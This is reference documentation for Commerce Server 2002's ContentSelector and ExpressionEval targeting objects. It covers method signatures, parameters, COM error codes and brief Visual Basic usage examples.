Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.
[Visual Basic]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.

Remarks

The Context dictionary maintains a reference to a ContentSelector object in its ContextProfile entry. This ContentSelector object is used to pass arbitrary properties to the pipeline components. Arbitrary properties can be associated with the ContentSelector object because it inherits from the Dictionary object.

See Also

Targeting Objects


IContentSelector Methods [C++]

ContentSelector Methods [Visual Basic]

Methods

[C++]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.
[Visual Basic]
Method | Description
GetContent | Executes a Content Selection pipeline. The pipeline selects one or more content items. The selected content items are stored in a SimpleList object, formatted as strings of HTML or XML.


IContentSelector::GetContent Method [C++]

ContentSelector.GetContent Method [Visual Basic]

Use this method to execute a Content Selection pipeline and return the resulting content in a SimpleList object.

Definition

[C++]
HRESULT IContentSelector::get_GetContent(
IDictionary* pdictCSFContext,
ISimpleList** ppLstContent
);
[Visual Basic]
Function GetContent(
 dictCSFContext As IDictionary,
) As ISimpleList

Parameters

pdictCSFContext [C++]
[in] A pointer to a global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.
dictCSFContext [Visual Basic]
A global context dictionary with a configuration for an instance of a CSF application. The dictionary contains global objects and configurations used by the ContentSelector object. At a minimum, the dictionary must contain the Pipeline key so that the ContentSelector object knows which pipeline to execute.
ppLstContent [C++]
[out, retval] A pointer to a SimpleList object containing the selected content. The elements of the SimpleList object are HTML or XML strings.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a SimpleList object that contains the selected content. The elements of the SimpleList object are HTML or XML strings.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

This method can also return an error returned by the invoked pipeline.

Remarks

The ContentSelector object reads the Pipeline key of the passed in dictionary object to find the pipeline object to invoke. It copies the values of the dictionary passed to it into a new dictionary. The new dictionary is passed to the pipeline as the pipe Context dictionary. An empty dictionary is created and passed as the Order dictionary for the pipeline. The ContentSelector object adds a reference to itself under the ContextProfile key in the pipe Context dictionary.

When pipeline execution has completed, the ContentSelector object looks for the key _formatted in the Order dictionary, and returns the list assigned to that key as the return value. If the list assigned to the _formatted key does not exist, an empty list is created and returned. The self-reference in the pipe Context dictionary is removed to prevent a circular reference. References to the Order and Context dictionaries are added to the ContentSelector object before it returns, giving the page access to the values written into those dictionaries by the pipeline.

[Visual Basic]

Example

For example code, see the sample in Code to Support the ContentSelector Object.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

Content Selection Pipelines

[C++] ContentSelector Object

[Visual Basic] ContentSelector Object


ExpressionEval Object [C++]

ExpressionEval Object [Visual Basic]

Use this object to evaluate one or more expressions against a specified context. In addition, use this object to parse and evaluate user-defined expressions written as Extensible Markup Language (XML) fragments.

ProgID: | Commerce.ExpressionEvaluator (Externally creatable)
COM Class Name: | ExpressionEval
Type Library Name: | Microsoft Commerce 2002 Expression System Type Library
DLL Name: | exprarch.dll
Threading Model: | Both
[C++]
COM Interface Name: | IExpressionEval
Interface ID Constant: | IID_IExpressionEval
Header File: | ExprArchDLL.h, exprarch.h, mspu_guids.h
[C++]

In C++, the properties and methods of the ExpressionEval object are accessed through the IExpressionEval interface.

Methods

[C++]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.
[Visual Basic]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.

Properties

[C++]
Property | Type | Description
ExprCount | long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.
[Visual Basic]
Property | Type | Description
ExprCount | Long | Retrieves the number of expressions loaded into the expression cache. This property is read-only.

Remarks

Expressions are stored in a database referred to as the Expression Store and accessed through an ExpressionStore object. When it is created, the ExpressionEval object initializes an expression cache and a context cache. Expressions must be compiled and loaded into the expression cache before being evaluated. To improve evaluation performance, use the LoadExpr or LoadAll method to preload expressions into the expression cache.

An expression is evaluated against data contained in a set of profiles. The profiles may be ProfileObject objects, Dictionary objects, or other objects that support property access through the IDispatch interface. The set of profiles is referred to as an evaluation context. If an evaluation context will be used across multiple expressions, create a stored context in the context cache using the CreateEvalContext method to increase efficiency.

The Connect method must be called before loading or evaluating expressions.

See Also

[C++] Targeting Objects

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionStore Object

[C++] ProfileObject Object

[Visual Basic] Targeting Objects

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionStore Object

[Visual Basic] ProfileObject Object


IExpressionEval Methods [C++]

ExpressionEval Methods [Visual Basic]

Methods

[C++]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.
[Visual Basic]
Method | Description
Connect | Establishes communication between the ExpressionEval object and an expression store.
CreateEvalContext | Creates a new ExprEvalContext object in the context cache.
Eval | Evaluates an expression.
EvalInContext | Evaluates an expression in a context previously loaded into the context cache.
EvalXML | Evaluates the specified XML text as an expression.
FlushAll | Removes all expressions from the expression cache.
FlushExpr | Removes the specified expression from the expression cache.
LoadAll | Reads all expressions from the expression store and loads them into the expression cache.
LoadExpr | Reads the specified expression from the expression store and loads it into the expression cache.
ParseXML | Parses the specified XML text to determine if it represents a valid expression.


IExpressionEval::Connect Method [C++]

ExpressionEval.Connect Method [Visual Basic]

Use this method to establish communication with an expression store.

Definition

[C++]
HRESULT IExpressionEval::Connect(
 VARIANT vConnectInfo
);
[Visual Basic]
Sub Connect(
 vConnectInfo As Variant
)

Parameters

vConnectInfo [C++]
[in] A VARIANT that describes the expression store connection data. This may be a BSTR containing the connection information or a pointer to an existing ExpressionStore object.
vConnectInfo [Visual Basic]
[in] A Variant that describes the expression store connection information. This may be a String containing the connection information or a reference to an existing ExpressionStore object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRSTORE | [C++] 0x8110001E [Visual Basic] &H8110001E | Specified database does not contain a valid expression store
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_STOREPERMISSIONS | [C++] 0x8110000F [Visual Basic] &H8110000F | Insufficient access permissions on the expression store database

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If a connection string is passed as the input parameter, the ExpressionEval object creates an ExpressionStore object that uses the connection string to access the expression store. Upon destruction, the ExpressionEval object destroys the ExpressionStore object.

The connection string for the expression store may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles".

The Connect method must be used before loading or evaluating expressions.

The ParseXML method and the flush methods may be used without connecting to an expression store.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Connect through an existing ExpressionStore object.

oExpressionEval.Connect oExpressionStore

' Connect using an explicit connection string.

oExpressionEval.Connect "Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'"

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service").Value _
 .Fields("s_BizDataStoreConnectionString").Value
oExpressionEval.Connect sConn

See Also

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[C++] IExpressionStore::Connect

[C++] SiteConfigReadOnly Object

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object

[Visual Basic] ExpressionStore.Connect

[Visual Basic] SiteConfigReadOnly Object


IExpressionEval::CreateEvalContext Method [C++]

ExpressionEval.CreateEvalContext Method [Visual Basic]

Use this method to create a new ExprEvalContext object and place it into the context cache. This allows evaluation of multiple expressions against the same set of profile objects in the most efficient manner possible.

Definition

[C++]
HRESULT IExpressionEval::CreateEvalContext(
 IDictionary* pDictObjs,
 IExprEvalContext** ppContext
);
[Visual Basic]
Function CreateEvalContext(
 pDictObjs As Object
) As Object

Parameters

pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the set of profiles to be cached.
pDictObjs [Visual Basic]
[in] A Dictionary object that contains the set of profiles to be cached.
ppContext [C++]
[out, retval] The address of the pointer to the IExprEvalContext interface of the newly created ExprEvalContext object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic]

If this method completes successfully, it returns the newly created ExprEvalContext object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The CreateEvalContext method creates an ExprEvalContext object that uniquely identifies a new evaluation context and stores the object in the context cache. Use the EvalInContext method to evaluate multiple expressions within the context defined by the ExprEvalContext object. This process is more efficient than using the Eval method which generates and destroys a new context for each expression evaluated.

A context is a set of profiles containing data to evaluate expressions against. Profiles may be ProfileObject objects, Dictionary objects, or other objects that support property access through the IDispatch interface. Initially only references to the profile objects are held in the context cache. During evaluation, when property values are read from the profiles, the property values may themselves be held in the cache for faster access during subsequent evaluations.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppContext parameter contains valid data only if the method completes successfully.

Caution

  • The state of the profile objects should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to non-deterministic evaluation results.
[Visual Basic]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles

dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary

dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' create the evaluation context

oExprEvalContext = oExpressionEval.CreateEvalContext(dictProfiles)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::EvalInContext

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.EvalInContext


IExpressionEval::Eval Method [C++]

ExpressionEval.Eval Method [Visual Basic]

Use this method to evaluate an expression.

Definition

[C++]
HRESULT IExpressionEval::Eval(
 long nExprID,
 IDictionary* pDictObjs,
 VARIANT* pvResult
);
[Visual Basic]
Function Eval(
 nExprID As Long,
 pDictObjs As Object
) As Variant

Parameters

nExprID [C++]
[in] A long that contains the unique identifier for the expression in the expression store.
nExprID [Visual Basic]
[in] A Long that contains the unique identifier for the expression in the expression store.
pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains a set of profiles.
pDictObjs [Visual Basic]
[in] A Dictionary object that contains a set of profiles.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the result of evaluating the expression in the given context.

Return Values

[C++] This method returns an HRESULT indicating whether the method completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. The result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the result of evaluating the expression in the specified context. The result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Expressions must be pre-compiled and loaded into the expression cache before being evaluated. The Eval method first checks the expression cache for the expression, and if not found, loads the expression from the expression store. Use the LoadExpr or LoadAll method to preload an expression into the expression cache and improve evaluation performance.

An expression is evaluated against data contained in a set of profiles. This set of profiles is referred to as an evaluation context. A new evaluation context is generated by the Eval method using the Dictionary object. The Eval method discards the new context after completing the evaluation. This process is not efficient if many expressions must be evaluated against the same context.

If an evaluation context will be used across multiple expressions, create a context in the context cache using the CreateEvalContext method. Use the EvalInContext method to evaluate expressions in this new common context.

The Connect method must be called before using the Eval method.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles

dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary

dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' evaluate the expression, vResult is a Variant

vResult = oExpressionEval.Eval(2134, dictProfiles)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::CreateEvalContext

[C++] IExpressionEval::EvalInContext

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.CreateEvalContext

[Visual Basic] ExpressionEval.EvalInContext

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::EvalInContext Method [C++]

ExpressionEval.EvalInContext Method [Visual Basic]

Use this method to evaluate an expression against a pre-established context stored in the context cache.

Definition

[C++]
HRESULT IExpressionEval::EvalInContext(
 long nExprID,
 IExprEvalContext* pContext,
 VARIANT* pvResult
);
[Visual Basic]
Function EvalInContext(
 nExprID As Long,
 pContext As Object
) As Variant

Parameters

nExprID [C++]
[in] A long that contains the unique identification of the expression in the expression store.
nExprID [Visual Basic]
[in] A Long that contains the unique identification of the expression in the expression store.
pContext [C++]
[in] A pointer to an IExprEvalContext interface of an ExprEvalContext object that identifies the specific context for this evaluation.
pContext [Visual Basic]
[in] An ExprEvalContext object that identifies the specific context for this evaluation.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the result of the expression evaluated in the specified context.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. This result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the results of evaluating the expression in the specified context. This result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_MISSINGPROP | [C++] 0x8110001D [Visual Basic] &H8110001D | Invalid ExprEvalContext object
E_EXPR_NOTFOUND | [C++] 0x81100012 [Visual Basic] &H81100012 | Could not find the specified expression ID, nExprID, in the expression store

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Eval method creates and discards an evaluation context for every evaluation. Evaluating against a stored context optimizes performance when multiple expressions need to be evaluated in the same context. Create the context for evaluation using the CreateEvalContext method.

Expression results are also stored in the context cache. If the result of a particular expression is requested multiple times from the same ExprEvalContext object using the EvalInContext method, the result is retrieved from the cache rather than by re-evaluating the expression, further increasing efficiency.

Caution

  • The state of the profile objects that comprise the context should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to non-deterministic evaluation results.

The Connect method must be called before using the EvalInContext method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oEvalContext is an ExprEvalContext object
' vResult is a Variant

vResult = oExpressionEval.Eval(2134, oEvalContext)

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::CreateEvalContext

[C++] IExpressionEval::Eval

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.CreateEvalContext

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::EvalXML Method [C++]

ExpressionEval.EvalXML Method [Visual Basic]

Use this method to evaluate an expression represented as an Extensible Markup Language (XML) fragment.

Definition

[C++]
HRESULT IExpressionEval::EvalXML(
 BSTR bstrXMLExpr,
 IDictionary* pDictObjs,
 VARIANT* pvResult
);
[Visual Basic]
Function EvalXML(
 bstrXMLExpr As String,
 DictObjs As Object
) As Variant

Parameters

bstrXMLExpr [C++]
[in] A BSTR that contains the XML fragment to be evaluated.
btrXMLExpr [Visual Basic]
[in] A String that contains the XML fragment to be evaluated.
pDictObjs [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains a set of profiles.
DictObjs [Visual Basic]
[in] A Dictionary object that contains a set of profiles.
pvResult [C++]
[out, retval] A pointer to a VARIANT indicating the results of evaluating the expression in the specified context.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details. The result of evaluating the expression is contained in the pvResult parameter. The result may be TRUE, FALSE, or NULL. NULL indicates the expression could not be evaluated.

[Visual Basic] This method returns a Variant indicating the results of evaluating the expression in the specified context. This result may be True, False, or Nothing. Nothing indicates the expression could not be evaluated.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The XML is parsed before being evaluated. For information on the XML format, see Expression XML Structures.

Expressions evaluated with the EvalXML method are not persistent; that is, they are not stored in the expression store or loaded into the expression cache. Use the Eval method to evaluate persistent expressions.

A new ExprEvalContext object is created and then discarded for each XML fragment that is evaluated.

The Connect method must be called before using the EvalXML method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pvResult parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' vResult is a Variant
' dictProfiles is a Dictionary object containing a set of profiles

vResult = oExpressionEval.EvalXML(sXMLExpr, dictProfiles)

See Also

[C++] Expression Recordset

[C++] Expression XML Structures

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::Eval

[C++] IExpressionEval::ParseXML

[Visual Basic] Expression Recordset

[Visual Basic] Expression XML Structures

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.Connect

[Visual Basic] ExpressionEval.Eval

[Visual Basic] ExpressionEval.ParseXML


IExpressionEval::FlushAll Method [C++]

ExpressionEval.FlushAll Method [Visual Basic]

Use this method to remove all expressions from the expression cache.

Definition

[C++]
HRESULT IExpressionEval::FlushAll(
);
[Visual Basic]
Sub FlushAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The FlushAll method removes all expressions from the expression cache and resets the read-only ExprCount property to zero (0).

Use the FlushExpr method to remove a specific expression from the expression cache.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushExpr

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushExpr

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::FlushExpr Method [C++]

ExpressionEval.FlushExpr Method [Visual Basic]

Use this method to remove the specified expression from the expression cache.

Definition

[C++]
HRESULT IExpressionEval::FlushExpr(
 long nExprID
);
[Visual Basic]
Sub FlushExpr(
 nExprID As Long
)

Parameters

nExprID [C++]
[in] A long that contains the identifier of the expression to be removed from the expression cache.
nExprID [Visual Basic]
[in] A Long that contains the identifier of the expression to be removed from the expression cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADEXPRID | [C++] 0x8110000A [Visual Basic] &H8110000A | Invalid expression ID specified

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The FlushExpr method removes the specified expression from the expression cache and decrements the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::LoadAll

[C++] IExpressionEval::LoadExpr

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionEval.ExprCount

[Visual Basic] ExpressionEval.FlushAll

[Visual Basic] ExpressionEval.LoadAll

[Visual Basic] ExpressionEval.LoadExpr


IExpressionEval::LoadAll Method [C++]

ExpressionEval.LoadAll Method [Visual Basic]

Use this method to pre-compile all expressions in the expression store. Each expression that pre-compiles correctly is loaded into the expression cache.

Definition

[C++]
HRESULT IExpressionEval::LoadAll(
);
[Visual Basic]
Sub LoadAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_EXPR_BADARGTYPE | [C++] 0x81100018 [Visual Basic] &H81100018 | Argument data type infomation missing from expression, or unrecognized argument data type encountered in expression
E_EXPR_BADARGVALUE | [C++] 0x81100022 [Visual Basic] &H81100022 | Invalid expression argument value, or impossible conversion
E_EXPR_BADCLAUSE | [C++] 0x81100016 [Visual Basic] &H81100016 | Invalid clause encountered
E_EXPR_BADCONNECTION | [C++] 0x8110001F [Visual Basic] &H8110001F | Invalid connection
E_EXPR_BADOPER | [C++] 0x81100017 [Visual Basic] &H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
E_EXPR_BADTERM | [C++] 0x81100015 [Visual Basic] &H81100015 | Term type missing, or unrecognized term type encountered
E_EXPR_BADXML | [C++] 0x81100014 [Visual Basic] &H81100014 | An unrecognized XML element was encountered
E_EXPR_NOCONNECTIONSTRING | [C++] 0x8110000D [Visual Basic] &H8110000D | No connection string specified
E_EXPR_XMLPARSE | [C++] 0x81100013 [Visual Basic] &H81100013 | XML DOM object parsing error

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Any expressions in the expression cache at the time of the call are reloaded.

If there are many expressions in the expression store, the LoadAll method may be slow. Use the LoadExpr method to load only specific expressions into the expression cache.

For every expression loaded into the expression cache, the LoadAll method increments the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

The Connect method must be called before using the LoadAll method.

See Also

[C++] ExpressionEval Object

[C++] IExpressionEval::Connect

[C++] IExpressionEval::get_ExprCount

[C++] IExpressionEval::FlushAll

[C++] IExpressionEval::FlushExpr

